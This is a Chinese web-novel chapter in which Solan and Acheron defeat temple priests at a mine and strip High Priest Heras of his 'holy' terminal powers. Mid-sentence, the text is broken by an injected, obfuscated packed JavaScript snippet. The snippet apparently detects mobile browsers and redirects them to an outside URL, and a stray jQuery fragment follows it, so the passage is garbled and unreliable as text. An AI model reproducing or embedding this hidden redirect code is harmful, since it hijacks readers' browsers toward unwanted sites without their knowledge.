矿场出口处,原本微弱的晨曦被一种病态的、刺眼的白光彻底覆盖。
三名穿着金边白袍的圣裁祭司骑着高大的雪白骏马,身后跟着十二名全副武装的“圣空骑兵”。这些骑兵的盔甲上刻满了繁复的圣言符文,在以太的驱动下散发出令人无法直视的光辉。
对于流民和普通的黑蛇佣兵来说,这种光芒代表着不可违抗的神权。但对于矿场深处那个即将苏醒的文明而言,那不过是一团能量紊乱的低熵体。
为首的祭司名为埃德蒙,他肥腻的脸上挂着虚伪的慈悲,高举权杖:“根据教廷《能源法典》第三条。银松镇北郊矿场涉嫌非法引导杂散以太,并进行大规模异端聚集活动。莫林男爵,你……”
他的声音戛然而止。
一道清冷、平稳,甚至带着一丝嫌弃的嗓音从漆黑的矿井深处飘了出来。
“以太波长480纳米,输出功率1.2千瓦,能效转化率不足15%。”
随着沉稳的脚步声,索兰缓缓走出阴影。她依然穿着那身暗灰色的作战服,眼角的泪痣在昏暗中闪烁着嘲弄的光芒。
“这种连‘一级文明’都算不上的能量垃圾,竟然也有脸叫作‘圣光’?”
埃德蒙祭司的脸色瞬间涨红,他正欲反驳,却感觉到一股更冷、更古老,且带着一丝诡异力量的波动从矿井深处传来。
“埃德蒙,退下。”
一个比埃德蒙更年轻、却散发着强大压迫感的身影,从圣裁祭司队伍的最后方缓缓走出。
他穿着一件华丽到近乎浮夸的紫色长袍,领口镶嵌着价值连城的以太晶石。他的容貌俊美得雌雄莫辨,长长的银发披散在肩头,眼尾勾勒着一丝病态的血色。他的嘴角噙着一抹似笑非笑的弧度,但那双幽深的眸子却带着一种看透世事却又极度不安的复杂情绪。
他便是圣裁所的大祭司——赫拉斯。
赫拉斯大祭司的目光越过埃德蒙,直接落在了索兰身旁,那个宛如复苏战神般的男人——阿刻戎身上。当他的视线触及阿刻戎胸口那淡蓝色的能量脉络时,他瞳孔猛地收缩,眼底的血色更浓了几分。
“编号03……你竟然……活下来了。”赫拉斯的声音带着一种莫名的颤抖,像是惊喜,又像是极度的恐惧。
阿刻戎闻言,身体猛然绷紧,但他空洞的眼神中却没有任何回应。他对这个声音,这个自称为“赫拉斯”的男人,没有任何记忆。
“你是谁?”索兰冷冷地打断了这诡异的对峙,“你的出现,干扰了我计划的进程。”
赫拉斯大祭司回过神来,他收敛了表情,脸上重新挂上了那抹病态的笑意。他看向索兰,眼神中带着一丝惊艳与探究,但更多的,却是那种“同类”之间的警惕。
“我乃圣裁所大祭司赫拉斯。”
他优雅地行了个礼,但言语却暗藏机锋,“这位‘小姐’,这片北境荒原的以太,皆在吾神掌控之下。你的‘计划’,恐怕早已超越了神的界限。”
索兰不为所动,指尖在虚空中轻轻一点。
【系统指令:子终端战术同步。】
【执行者:阿刻戎。】
【武装加载:电磁高频振荡模组。】
呼——!
一道黑影如同从深渊中投射出的箭矢,瞬间出现在索兰身前。
那是阿刻戎。
他原本破旧的亚麻袍已经在剧烈的能量冲刷下化为齑粉,此时的他,上半身裸露着精铁般的肌肉,胸口那块原本锈蚀的感应器,现在正向外延伸出几条淡蓝色的、具有几何美感的能量脉络,紧紧锁在骨骼之上。
他站在那里,周围的空气竟然因为剧烈的电荷波动而产生了肉眼可见的扭曲。
赫拉斯大祭司的脸色终于变了。
他清楚地感知到,阿刻戎身上的气息,不再是三年前那个被以太污染的“残次品”,而是某种被重新唤醒的、更纯粹的力量。那种力量,与他自己所掌握的旧帝国技术如出一辙,但又有着本质的区别。
“阿刻戎。”索兰淡淡下令,“那些骑兵盔甲上的符文是低频谐振点。三点钟方向,角度45,切开他们。”
阿刻戎没有说话,他只是微微屈膝,地面瞬间裂开蛛网般的纹路。
嗖!
他的速度太快了,快到连圣空骑兵的动态视力都无法捕捉。当一名骑兵惊恐地举起重盾时,阿刻戎已经出现在了他的侧翼。
阿刻戎右手虚空一握,那柄生锈的重剑在索兰赋予的电磁超频下,剑锋竟然发出了一种极高频率的嗡鸣,连四周的碎石都被震成了粉末。
撕拉——!
号称能抵御火球术冲击的圣光护甲,在那柄“物理高频切割剑”面前,脆弱得就像一张被热刀切开的黄油。
没有金属碰撞的声音,只有一种极其丝滑的、切割分子的刺啦声。
“我的圣甲!我的圣甲碎了!”骑兵惨叫着飞了出去。
赫拉斯祭司惊呆了。他肥腻的脸上写满了惊恐,这种完全超出常理的杀戮方式让他陷入了疯狂。他猛地咬破舌尖,将鲜血喷在权杖顶端的圣石上,凄厉地嘶吼着:“圣光啊!制裁这头魔物!以神的名义,开启【净世圣域】!”
嗡——!
权杖上的圣石感应到生物血能,突然爆发出一种刺眼的、带着扭曲震动的高能反应。空气中的以太被强行抽空,汇聚成一只巨大的、模糊的光之羽翼。
【警告:检测到短程高能反应。】
【正在进行频谱分析……解析进度10%……30%……】
【解析完毕:检测到旧帝国初级子终端(编号:902)。】
【权限等级:E级(列兵级)。】
索兰原本冷淡的眉眼微微一挑,嘴角勾起一抹玩味的弧度。
“我还以为是什么了不得的神迹。”
她停下脚步,在所有人惊恐的目光中,不但没有防御,反而迎着那足以将普通人熔化的强光走了过去。
“原来圣裁所所谓的‘圣器’,不过是旧帝国撤退时丢下的列兵级生物感应终端。”索兰的声音并不响亮,却带着某种神性般的穿透力,直接盖过了权杖的轰鸣。
“这种权限,也敢在我面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311762|198886||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前奢谈‘制裁’?”
赫拉斯祭司看着在强光中毫发无损的索兰,眼珠几乎都要瞪裂了:“你……你怎么可能无视圣光的审判!你到底是哪种魔鬼!”
“审判?”
索兰站定,在那只巨大的光之羽翼即将落下的瞬间,她缓缓抬起左手,修长的食指在虚空中轻轻一点,仿佛按下了某个决定命运的删除键。
【审计确认:检测到非法越权操作。非法使用者:赫拉斯。子终端状态:严重腐蚀、数据溢出。】
【系统指令:管理员权限介入。】
【执行:剥夺。】
索兰吐出的每一个字,都像是某种古老而恐怖的咒语,却带着重金属落地的冰冷质感。
原本狂暴的光翼在那一瞬间诡异地静止了。
咔嚓——!
一声清脆的爆裂声从权杖顶端传来。那块被赫拉斯视若神明的圣石,其中的幽蓝光芒瞬间熄灭,甚至连原本如玉般的质地都迅速灰败瓦解,化成了毫无生气的粉末。
“不——!我的圣器!我的神力!”
赫拉斯祭司发出一声惨叫。他感觉到一股巨大的空虚感瞬间席卷了全身,那种平日里予取予求的力量像是被某个更高级的主宰强行关进了黑屋子。
他手中的权杖变成了一根普通的烂木头,甚至因为承受不住刚才的过载,开始在掌心自燃。
“这不叫神力,这叫‘调用权限’。”索兰走到瘫软在地的祭司面前,低头俯视着他,眼神中连杀意都没有,只有对待废弃代码的冷漠。
“由于你长期以低权限非法驱动终端,你的神经中枢已经被以太辐射深度腐蚀了。即便我不杀你,你也会在三小时后因为逻辑崩溃而变成白痴。”
索兰转过头,看向黑蛇佣兵团和那些目瞪口呆的流民。
“看到了吗?”她指着地上那堆圣石粉末,“这就是你们跪拜了数百年的‘神’。它没有怜悯,它只是在一段被由于年代久远而产生逻辑漏洞的过期指令。”
这一刻,全场死寂。
莫林男爵跪在地上,浑身战栗。他活了四十年,所有的价值观在这一分钟内被索兰徒手粉碎,然后又在废墟上重建。
阿刻戎沉默地走上前,将两柄还在滴血的黑梭收回背后的插槽。他看向索兰的眼神,除了敬畏,更多了一种死心塌地的追随——他终于明白,这个女人不仅仅是救了他,她是这个世界唯一的、能真正审判那些“神灵”的法官。
索兰看了一眼视界中跳动的数据:
【已收回子终端权限。】
【正在提取残留数据……发现圣裁所银松镇分布结构图……】
“阿刻戎,带上那个昏死过去的‘大祭司’赫拉斯。”
索兰转身走向实验室,背影挺拔如剑,“我们需要一个了解旧文明残余的‘活字典’。至于这些垃圾——”
她指了指那些哀嚎的圣空骑兵。
“全部登记在册。从明天起,他们将成为矿场的第一批‘负债工人’。既然神救不了他们,那就让他们在基础建设中,寻找自己的价值。”